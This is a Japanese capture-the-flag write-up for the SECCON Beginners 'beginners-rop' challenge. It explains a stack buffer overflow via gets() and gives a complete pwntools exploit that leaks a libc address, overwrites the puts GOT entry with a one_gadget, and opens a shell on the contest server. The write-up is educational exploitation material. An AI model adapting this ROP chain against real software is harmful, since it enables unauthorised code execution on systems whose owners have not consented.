Do you like programming?

Did you know Return Oriented Programming?

問題

Cのプログラムとソースコード、そしてlibc-2.27.soが配布されます

#include <stdio.h>
#include <unistd.h>

char *gets(char *s);

int main() {
    char str[0x100];
    gets(str);
    puts(str);
}

__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

解説

明らかに自明なBuffer Overflowがあります
しかし、実行ファイルにはsystem()syscallがありません
また、NXビットが有効なのでshellcodeを実行することもできません
そこでROPとret2libcを組み合わせた攻撃をします

以下の手順で攻撃をします

  1. libcのgetsのアドレスをputsで出力
  2. libcのベースアドレスを計算し、one_gadgetのアドレスを得る
  3. GOTのputsのアドレスをgetsでone_gadgetのアドレスに書き換える
  4. putsを呼び出すとone_gadgetが呼ばれshellを取れる

引数を換えるために必要なpop rdi; ret;は0x401283にあります
また、libc-2.27のone_gadgetのアドレスは0x4f3d5、0x4f432、0x10a41cにあります
今回は条件が[rsp+0x40] == NULLと満たしやすそうな0x4f432を使用しました

送りつけるpayloadの内容は以下の通りです

1回目

  1. pop rdi; ret; のアドレス
  2. gotのgetsのアドレス
  3. pltのputsのアドレス
  4. pop rdi; ret; のアドレス
  5. gotのputsのアドレス
  6. pltのgetsのアドレス
  7. pltのputsのアドレス

2回目

  1. one_gadgetのアドレス

exploit

#!python
from pwn import *

target = 'chall'
elf = ELF(target)
libc = ELF('libc-2.27.so')

local = 0
if local:
    io = process(target)
    gdb.attach(io)
else:
    io = remote('beginners-rop.quals.beginners.seccon.jp', 4102)

pop_rdi = 0x00401283

payload = b'\x00'*0x108
payload += p64(pop_rdi)
payload += p64(elf.got['gets'])
payload += p64(elf.plt['puts']) # leak gets addr
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['gets']) # replace puts got
payload += p64(elf.plt['puts']) # call replaced puts

io.sendline(payload)

# ignore puts output
io.readline()

gets_addr = int.from_bytes(io.readline(), 'little') & 0x7fffffffffff
libc_addr = gets_addr - libc.functions['gets'].address

'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
one_gadget_offset = 0x4f432

print('{:x} {:x}'.format(gets_addr, libc.functions['gets'].address))
print('libc address: {}'.format(hex(libc_addr)))

payload = p64(libc_addr + one_gadget_offset)

io.sendline(payload)

io.interactive()

ctf4b{H4rd_ROP_c4f3}